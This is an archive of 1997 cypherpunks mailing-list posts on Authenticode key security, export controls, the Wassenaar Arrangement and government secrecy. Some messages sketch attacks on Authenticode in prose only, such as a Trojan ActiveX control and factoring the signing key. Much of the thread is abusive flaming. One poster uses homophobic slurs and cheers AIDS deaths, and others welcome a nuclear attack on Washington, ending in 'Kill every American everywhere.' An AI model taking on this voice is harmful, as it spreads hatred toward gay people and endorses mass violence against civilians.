> Actually, and sort of to the point, no, the keys never actually ever the
> BBN box, except as part of a backup procedure in which they are
> extracted in a doubly-encrypted form for which for security reasons you
> need the manufacturer's help in restoring.
> 
> To this day, no human or computer other than the box itself knows the
> key.

Yeah, but we can always just release a patch for windows which makes
it check signatures made by "cypherpunks certification services". 

As has been noted in previous discussions of CAPI (on this list),
there is room for different competing patched key signature services:
sign anything, sign only CAPI modules which don't involve GAK (key
escrow), sign modules for which source code has been examined and
provide a degree of assurance that the module is secure.  Charges
could be made for the CAPI rating, to the module provider, and to the
users of the rating service even (with non-transferable signatures).

Also, the BBN box might be overkill considering ActiveX -- the key
could probably be patched delivered maliciously by the unsuspecting
windows user accessing a web page.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Mar 1997 21:32:37 -0800 (PST)
To: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: Having the smarts to retire early
Message-ID: <199703060530.VAA00700@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:47 AM 3/5/97 -0700, Graham-John Bullers wrote:
>
>On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:
...
>> I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
>> I suppose he studies the bounce messages from mailer deamons too.
>> 
>> WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FROM
>> ANY MAILING LIST ON HIS TOAD.COM COMPUTER.
>
>Vulis keep your pervert voice off the list.

I don't know which person I dispise more.  The person unjustly slandering
another for any reason.  Or the person telling him that he has no right to
an open forum.  No, I take that back.  I'd rather have ten foulmouthed text
wizards dragging my name through the mud, with my self to defend my name as
opposed to even one person declaring that they leave "for the public good".
As for argument, I have no problem with arguing, so long as neither tells
the other to "get lost" so everyone else can have some peace and quiet.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Mar 1997 18:42:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Secrecy Report
Message-ID: <1.5.4.32.19970306023549.0074e394@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The "Report of the Commission on Protecting and Reducing
Government Secrecy," boosted in the NY Times today is 
available in PDF format at:

   http://www.access.gpo.gov/congress/commissions/secrecy/index.html

It criticizes government's unwarranted use of secrecy as a means of control.

The main report is 155 pages long with appendices of 120 pages, including
a history of the abuse of secrecy in the NatSec era. It also has a section on 
"Information Insecurity" which addresses impending moves by the gov to
deal with threats to the Racketeer-Influenced "if you knew what we 
know" Criminal Org.

The NYT report and editorial is at:

   http://jya.com/newsec.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 5 Mar 1997 13:45:06 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: Wassenaar Arrangement
In-Reply-To: <3.0.1.32.19970305081729.006eb4bc@mail.io.com>
Message-ID: <199703052139.VAA00545@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Here's a ref Peter Gutmann provided on Wassenaar:

	http://www.sipri.se/projects/armstrade/wass_initialelements.html

No mention of crypto, probably because appendix 5 is missing:

: Appendix 5
: 
: SIPRI NOTE: Appendix 5 consists of a List of Dual-Use Goods and
: Technologies and a Munitions List. These documents will be appended
: once obtained.

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Mar 1997 21:57:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ming-Ching Tiew's crypto programs
Message-ID: <3.0.1.32.19970305215435.0063f538@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Ming-Ching Tiew <mctiew@csi.po.my> posted the following article to
sci.crypt.  Aside from its content being interesting, it poses
an interesting set of problems for ITAR proponents (:-) -
he's Malaysian, working from Malaysia, but his web page is on a 
US-located free-web-page server.  Some of the code on it is
marked US-only; other code is world-readable and on a machine in Germany.

=======================================================================
Subject: 	Cryptlib-based Win32 File Encryptor
Date:    	Tue, 04 Mar 1997 21:01:28 -0800
From: 	Ming-Ching Tiew <mctiew@csi.po.my>
Organization:	Unconfigured
Newsgroups:	alt.security.pgp, sci.crypt, comp.security.pgp.discuss


Here at which you look for my Win32 File Encryptor
which uses "Cryptlib" :-

  http://www.geocities.com/SiliconValley/Heights/8298

The program is provided in source and binary. Non-US 
people should follow the re-direct and get it from 
the non-US site.

Some of the highlites ( all crypto-features derived from 
Cryptlib, credit to Peter Gutmann ),

(1) You don't use PGP for encryption and decryption.
    PGP is only used for Key Management.

(2) This is not a shell.

(3) Configure encryption options thru' GUI and
    save to registry. For example, if you don't 
    like IDEA, use something else, like Blowfish.

Find out for yourself "Cryptlib", the most comprehensive 
and yet freely available crypto library.

Ming-Ching
========================================================

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Mar 1997 22:12:07 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: [NOISE] Re: Wassenaar Arrangement
In-Reply-To: <199703060144.KAA27507@ns.barrier-free.co.jp>
Message-ID: <3.0.1.32.19970305220054.0064a6d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:30 PM 3/5/97 -0500, Declan McCullagh wrote:
>I've asked a friend at the State Department to send me a copy of the
>Arrangement. I'll forward it if it appears in my inbox.
>
>I also talked a little about the Wassenaar Arrangement, or at least
>Japan's interpretation of it, in a Netly article in late October. Check
>out http://netlynews.com/ in the Politics archive. 

"The Wassenaar Arrangement" ... 
really sounds like the title of a bad Robert Ludlum novel

rather than a "respectable" document a "respectable" government would sign,
much less a quasi-treaty that they want to pretend has legal force...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 5 Mar 1997 19:32:02 -0800 (PST)
To: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Subject: Re: Wassenaar Arrangement
In-Reply-To: <199703060144.KAA27507@ns.barrier-free.co.jp>
Message-ID: <Pine.GSO.3.95.970305222550.8248D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


I've asked a friend at the State Department to send me a copy of the
Arrangement. I'll forward it if it appears in my inbox.

I also talked a little about the Wassenaar Arrangement, or at least
Japan's interpretation of it, in a Netly article in late October. Check
out http://netlynews.com/ in the Politics archive. 

-Declan


On Thu, 6 Mar 1997, Hayashi_Tsuyoshi wrote:

> On Wed, 5 Mar 1997 21:39:54 GMT, Adam Back said:
>  >Here's a ref Peter Gutmann provided on Wassenaar:
>  >
>  >	http://www.sipri.se/projects/armstrade/wass_initialelements.html
>  >
>  >No mention of crypto, probably because appendix 5 is missing:
> 
> There is my hand writting memo of (a part of, not full)
> appendix 5.  If no one say URLs for appendix 5, I will
> upload it here.
> 
> ///hayashi
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 5 Mar 1997 23:23:19 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: truth (lack thereof) and the press
In-Reply-To: <199703060402.VAA08949@infowest.com>
Message-ID: <331E5A5D.7E37@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:

>     WHEN CULTURES COLLIDE
>     By Bob Djurdjevic
> 
>     The Mexican government itself is working to infiltrate and subvert
>     our government.  They are working to grant dual nationality or
>     citizenship to encourage Mexican to become U.S. citizens so they can
>     "vote for Mexican interests" in the United States.

>     The United States is being
>     invaded by Mexico. The intent is to retake the American Southwest and
>     rename it Aztlan. Those who resist are called racist and will are
>     subject to attack.
> 
>     Published in THE WASHINGTON TIMES
>     BOB DJURDJEVIC, August 18, 1996

  Think how much greater the threat would be if the U.S. was actually
run by the voters.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 5 Mar 1997 23:23:15 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: EU-FBI Wiretap Pact and CALEA (Digital Telephony)
In-Reply-To: <199703060335.TAA23612@mail.pacifier.com>
Message-ID: <331E710E.497D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> At 02:25 AM 3/3/97 -0800, Tim May wrote:
> >So, either the reporters here have it wrong, by implying CALEA and the
> >joint U.S.-U.K. agreeement applies to _e-mail_, or in fact CALEA is being
> >seen as applicable to e-mail. If the latter, then things are in much, much
> >worse shape than many of us feared.
> >
> >If this interpretation is upheld by the courts, we are in a state of war.
> >--Tim May
> 
> Indeed, we are.   Notice also that there appears to be no illusion that
> these kind of bills are being done due to public demand:  News on this
> subject is essentially nil, particularly in the mainstream news media.

  When one begins adding up all of the ways in which the country is 
being regulated and legislated 'outside' of the influence of the voters,
then it becomes apparent that we acually live in a demon-mockracy.
  It makes for great news when some 'little guy' manages to 'slip one
by' Big Brother, but the reality is that the court system is ruled by
money and power.
  As in the example stated above, much of the legislation proffered by
those elected bears little resemblence to issues that are of genuine
concern to the electorate.
  Any issues that the government can't ramrod through using the methods
above become matters of 'National Security'. The 'law of the land' then
ceases to apply, as 'Emergecy Measures' and secretive regulatory
agencies
write the law with no voting and a single stroke of the pen.

  The government even has the power to negate the ability of the
individual
or group to act in their own interest simply by making laws and
regulations
vague and/or complicated enough that it is unfeasible to act simply
because
of the time, energy, and funds required to do so--not to mention the
'risk'
involved.
  Through use of regulatory approval, or witholding of such, the
government
has the ability to influence the fast-moving course of various areas of
technology. Does anyone here want to make large investments in a product
that they 'may or may not' be able to sell?

  This forum has members in all areas of expertise surrounding crypto
issues,
but can anyone state, unequivocally, all of the finer points surrounding
legislation, regulation, etc., in this area? (Even if you think you
'can'
legally do this-or-that, are you going to do so if told by the
government
that you can't and will be subject to prosecution and/or financial
loss?)
   Do you expect for the laws to apply equally to all in areas of major
government interest? Some companies are 'approved' for export, while, on 
very questionable legal basis, others are 'denied' approval.
   Do you expect this type of gladhanded regulatory approach to be any 
different for CypherPunks remailers, versus military Onion Routers? When
some remailer operator is 'set-up' by the Right Reverend G. Stooge on a
pornography bust, or by G.I.Joe on a terrorism bust, do you expect the 
target to be a CypherPunk or a Vice-Admiral?

  The fact of the matter is, the government is fully capable of burying
the facts on any area of interest they wish, under cover of defending us
from the 'bad guys' lurking in the bushes, and once every four years
they
step into the limelight to decide who gets to spend the next four years
passing another mountain of legislation that, inch by inch, eats away
at the rights and freedoms that are theoretically guaranteed by the
Constitution.
  One has to wonder just how many times in history a vote in favor of
restricting the privacy and rights of citizens was gained by trading off 
a vote affecting 'hog futures'.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 6 Mar 1997 00:25:25 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Ming-Ching Tiew's crypto programs
In-Reply-To: <3.0.1.32.19970305215435.0063f538@popd.ix.netcom.com>
Message-ID: <331E7746.56A7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> Ming-Ching Tiew <mctiew@csi.po.my> 
> he's Malaysian, working from Malaysia, but his web page is on a
> US-located free-web-page server.  Some of the code on it is
> marked US-only; other code is world-readable and on a machine in Germany.
 
> Here at which you look for my Win32 File Encryptor
> which uses "Cryptlib" :- 
>   http://www.geocities.com/SiliconValley/Heights/8298
> 
> The program is provided in source and binary. Non-US
> people should follow the re-direct and get it from
> the non-US site.

  This points out the irony of U.S. citizens being second-class
citizens in the world of crytpography.
  Any commie-terrorist who wishes (no reference to Ming-Ching intended),
can post any type of strong or trojan-filled cryptographical product
that he wishes within our borders, and give pointers to where 
it can be obtained from countries where citizens have more freedom than
those in the U.S.
  In actuality, foreign companies and citizens are free to send us email 
touting "Porn-Hider / The Child Molester's Best Friend", based on strong
encryption. We, on the other hand, can be imprisoned and fined for 
making any level of crypto available for people trying to escape the 
wrath of murderous dictators.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Thu, 6 Mar 1997 04:21:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Secure checksums
Message-ID: <199703061217.EAA27845@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. Mayhem's abysmal grammar, atrocious spelling and 
feeble responses clearly identify him as a product of the 
American education system.

       >\\\|/<
       |_    ;
       (O) (o)
   -OOO--(_)--OOOo- Timmy C. Mayhem





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Mar 1997 07:16:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Speech
In-Reply-To: <Pine.SUN.3.91.970306011705.12861C-100000@panix.com>
Message-ID: <mo053D137w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Homosexual Charles Platt <cp@panix.com> writes:
<garbage>
> Dmitri Vulis was kicked off my ISP many months ago for allowing multiple
> logins under his user name and password, presumably so that his friends at
> Brighton Beach could share his account without paying the $10 per month
> for email+Usenet. At the very least, this indicates a certain ... um ...
> lack of class.
<more garbage>

This is a lie with no basis in reality whatsoever.

I'm glad that CHarles Platt and other homosexuals are dying from AIDS.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 6 Mar 1997 05:58:18 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: RE: Microsoft Authenticode key security
In-Reply-To: <L0c53D131w165w@bwalk.dm.com>
Message-ID: <199703060805.IAA31058@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <L0c53D131w165w@bwalk.dm.com>, on 03/05/97 at 07:44 PM,
   dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:


>"Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com> writes:

>> Actually, and sort of to the point, no, the keys never actually ever the
>> BBN box, except as part of a backup procedure in which they are
>> extracted in a doubly-encrypted form for which for security reasons you
>> need the manufacturer's help in restoring.
>>
>> To this day, no human or computer other than the box itself knows the

>But do we necessarily believe what Microsoft people say?

>Dimitri "bought OS/2 1.0 from Microsoft" Vulis

:))))))

If Bill Gates got on national TV and told the world that the sky was blue
I'd have go outside and look for myself. Not that this is just more M$
bashing, I wouldn't trust N$, IBM, Novell, HP, DEC, SUN or any other "big
name" hardware/software company that depends on large government contracts.

--
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
-----------------------------------------------------------
 
Tag-O-Matic: OS/2: Logic, not magic.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 6 Mar 1997 08:16:22 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Master of fellatio
In-Reply-To: <L1343D1w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970306091045.55460A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain






On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Casey Iverson <iverson@usa.net> writes:
> 
> > The rather large mass of Russian dung  a.k.a. Dr.Dimitri Vulis KOTM wrote
> > 
> > >> John Gilmore lied.
> > 
> > Consider the irony of the Russian slime ball master of disinformation
> > (probably trained by the KGB),
> > calling someone *else* a liar.
> > 
> 
> There were plenty of good cryptographers working for the KGB.
> I had the pleasure of meeting a few in persons and communicating
> with many others.
> Filthy lying cocksucker John Gilmore is not worthy to suck their dicks.


Vulis this list is not for sick perverts like you get off it.

> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 6 Mar 1997 08:21:09 -0800 (PST)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199703060336.TAA13790@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970306091800.55460B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 5 Mar 1997, Mix wrote:

> Embedded in Tim C. Maypole's babblings are 
> preposterous lies, wild distortions, child 
> pornography (both as graphic descriptions 
> and in JPEG format), ethnic slurs, and 
> racial epithets.
> 
>       o      o o o   o
>      /~>    <><><>   <> Tim C. Maypole
>   o...(\    ||||||   ||
> 
Vulis keep this crap off the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 6 Mar 1997 08:29:47 -0800 (PST)
To: Anonymous <nobody@hidden.net>
Subject: Re: Secure checksums
In-Reply-To: <199703061217.EAA27845@jefferson.hidden.net>
Message-ID: <Pine.A41.3.95.970306092650.55460D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain







On Thu, 6 Mar 1997, Anonymous wrote:

> Timmy C. Mayhem's abysmal grammar, atrocious spelling and 
> feeble responses clearly identify him as a product of the 
> American education system.
> 
>        >\\\|/<
>        |_    ;
>        (O) (o)
>    -OOO--(_)--OOOo- Timmy C. Mayhem
> 

Vulis keep this off the list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 6 Mar 1997 08:31:39 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Speech
In-Reply-To: <mo053D137w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970306092856.55460E-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain






On Thu, 6 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Homosexual Charles Platt <cp@panix.com> writes:
> <garbage>
> > Dmitri Vulis was kicked off my ISP many months ago for allowing multiple
> > logins under his user name and password, presumably so that his friends at
> > Brighton Beach could share his account without paying the $10 per month
> > for email+Usenet. At the very least, this indicates a certain ... um ...
> > lack of class.
> <more garbage>
> 
> This is a lie with no basis in reality whatsoever.
> 
> I'm glad that CHarles Platt and other homosexuals are dying from AIDS.


Vulis you are a lie stay off the list.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 6 Mar 1997 07:13:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Microsoft Authenticode key security
Message-ID: <199703061513.HAA13900@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III writes:
> In <L0c53D131w165w@bwalk.dm.com>, on 03/05/97 at 07:44 PM,
>    dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> 
> >"Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com> writes:
> 
> >> Actually, and sort of to the point, no, the keys never actually ever the
> >> BBN box, except as part of a backup procedure in which they are
> >> extracted in a doubly-encrypted form for which for security reasons you
> >> need the manufacturer's help in restoring.
> >>
> >> To this day, no human or computer other than the box itself knows the
> 
> >But do we necessarily believe what Microsoft people say?
> 
> If Bill Gates got on national TV and told the world that the sky was blue
> I'd have go outside and look for myself. 

Actually, around Redmond, gray skies are much more common.

Really guys, If you want to attack Authenticode (and I personally 
consider it a bandaid on a dangerous system), then stealing or
buying the key is not the approach to take.

I see two possible approaches to prove it's weakness.

1. If they are using RSA, factor the public key. This depends on it's
length. Considering the amount of cpu people seem to be able to 
muster for distributed cracks, etc, I suspect that 512 bit keys will 
soon be vulnerable (equiv = RSA 155).

2.  Write a Trojan Horse ActiveX control which disables the 
Authenticode checking, then covers it's tracks.

No, I'm not working on either of these.

Peter Trei
trei@process.com

Disclaimer: I speak for myself, not my employer.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Wed, 5 Mar 1997 17:46:05 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Wassenaar Arrangement
In-Reply-To: <199703052139.VAA00545@server.test.net>
Message-ID: <199703060144.KAA27507@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Mar 1997 21:39:54 GMT, Adam Back said:
 >Here's a ref Peter Gutmann provided on Wassenaar:
 >
 >	http://www.sipri.se/projects/armstrade/wass_initialelements.html
 >
 >No mention of crypto, probably because appendix 5 is missing:

There is my hand writting memo of (a part of, not full)
appendix 5.  If no one say URLs for appendix 5, I will
upload it here.

///hayashi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 6 Mar 1997 13:55:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Purifying Washington with Nuclear Flames
In-Reply-To: <199703060752.HAA30906@mailhub.amaranth.com>
Message-ID: <LTL63D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

> In <v03007800af4415448ad4@[207.167.93.63]>, on 03/05/97 at 10:38 PM,
>    "Timothy C. May" <tcmay@got.net> said:
> 
> 
> >At 1:00 AM -0400 3/6/97, E. Allen Smith wrote:
> >>From:	IN%"tcmay@got.net"  "Timothy C. May"  5-MAR-1997 22:59:36.45
> >>
> >>>Too bad your "assassination politics" doesn't extend to entire cities. I
> >>>have concluded that having a terrorist group smuggle a nuke into D.C. woul
> >>>not be altogether a bad thing. Besides dealing with the government problem
> >>>it would also deal with a quarter of a million or more unemployable welfar
> >>>addict leeches.
> >>
> >>	I'm glad you say "altogether"... some of us live (or have friends or
> >>family who live) decidedly too close to D.C. for such to be an attractive
> >>possibility. Besides that, I'm certain there are some innocents in the city
> >>just-born infants, perhaps?
> 
> >War is never clean. Innocents always get caught in the crossfire.
> 
> >If the U.S., for example, had avoided all actions in WW II which might
> >have injured an "innocent" (babies, old women, schoolgirls, and so on...),
> >the war could not have been prosecuted. Now maybe this is one option, one
> >which ardent pacifists prefer, but most of us understand the practical
> >realities that "innocents" often die in wars.
> 
> >Nuking Washington is just a joke, of course. But I wouldn't cry any tears
> >if I woke up one morning, turned on CNN, and was informed that a large
> >crater appeared where D.C. once was.
> 
> I doubt that there would be few that would. :)))
> 
> I have always found the statment of "innocent civilians" to be an odd one
> in a time of war.
> 
> I have always beleived that all citizens held a collective guilt for the
> actions of their government. It is only through the support of the citizens
> can any government opperate wether through active support or through the
> inactivity of not opposing their government. This not only holds true for
> "democracies" for dictatorships as well. As such if the actions of a
> government bring it to war their civilian population is just as fair game
> as their troops in the field.

I wholeheartedly concur.  Nuke Washington, DC.  Kill every American everywhere.
Even if they voted for Perot.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hayashi_Tsuyoshi <take@barrier-free.co.jp>
Date: Wed, 5 Mar 1997 21:02:32 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Wassenaar Arrangement
In-Reply-To: <Pine.GSO.3.95.970305222550.8248D-100000@cp.pathfinder.com>
Message-ID: <199703060447.NAA28194@ns.barrier-free.co.jp>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Mar 1997 22:30:35 -0500 (EST), Declan McCullagh said:
 >I've asked a friend at the State Department to send me a copy of the
 >Arrangement. I'll forward it if it appears in my inbox.

Oh, Lucky.  I'm looking forward to seeing it.

 >I also talked a little about the Wassenaar Arrangement, or at least
 >Japan's interpretation of it, in a Netly article in late October. Check
 >out http://netlynews.com/ in the Politics archive. 

I will read and study it.  Thanks.

///hayashi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 6 Mar 1997 12:44:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Medical Records Security
Message-ID: <1.5.4.32.19970306203738.006b253c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The new "Protecting Electronic Health Information" report by
the National Academy of Sciences is at:

   http://jya.com/pehi.htm  (615K)

There is quite a lot of crypto discussion.

The NY Times featured this report on Page One today.

It's worth reminding that this report and the recent one on
secrecy both fault national encryption policy and emphasize 
that it's time to break the logjam caused by NatSec/LEA
dispute with commerce, and get on with protecting the 
privacy of citizens from government and commerce working 
in cahoots.

Note that commerce is seen as much a threat as government, 
with the looming probablility that government and commerce 
will unite against the citizenry, now as ever, both claiming to
protect from the other, using their phony fight as a camouflage 
for royal screwing rights.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 6 Mar 1997 12:52:51 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Having the smarts to retire early
In-Reply-To: <ukF53D134w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970306154604.12798I-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> > > I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
> > > I suppose he studies the bounce messages from mailer deamons too.
> > >
> > > WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FRO
> > > ANY MAILING LIST ON HIS TOAD.COM COMPUTER.
> >
> > Vulis keep your pervert voice off the list.
> 
> I'm not sending anything to cypherpunks@toad.com and in fact I don't
> want the lying, thieving cocksucker John Gilmore to redistribute any
> of my writings via any mailing list at toad.com.


Date: Wed, 05 Mar 97 20:34:53 EST From: "Dr.Dimitri Vulis KOTM"
<dlv@bwalk.dm.com> 
To: cypherpunks@toad.com 
 ^^^^^^^
 {Liar! Liar! Beard on Fire!}
Subject: Re: Having the smarts to retire early





=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 6 Mar 1997 17:38:48 -0800 (PST)
To: trei@process.com
Subject: Re: Microsoft Authenticode key security
In-Reply-To: <199703061513.HAA13900@toad.com>
Message-ID: <331F59E1.1FE7@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Peter Trei wrote:
 
> Really guys, If you want to attack Authenticode (and I personally
> consider it a bandaid on a dangerous system), then stealing or
> buying the key is not the approach to take.
> 
> I see two possible approaches to prove it's weakness.
> 
> 1. If they are using RSA, factor the public key. This depends on it's
> length. Considering the amount of cpu people seem to be able to
> muster for distributed cracks, etc, I suspect that 512 bit keys will
> soon be vulnerable (equiv = RSA 155).

  After having done a complete analysis of all the factors involved, 
I have determined that Authenticode could be cracked by the CypherPunks
in less than 72 hours by refraining from using the word 'cocksucker'
in our postings and devoting the saved CPU cycles to the crack.
-- 
Toto
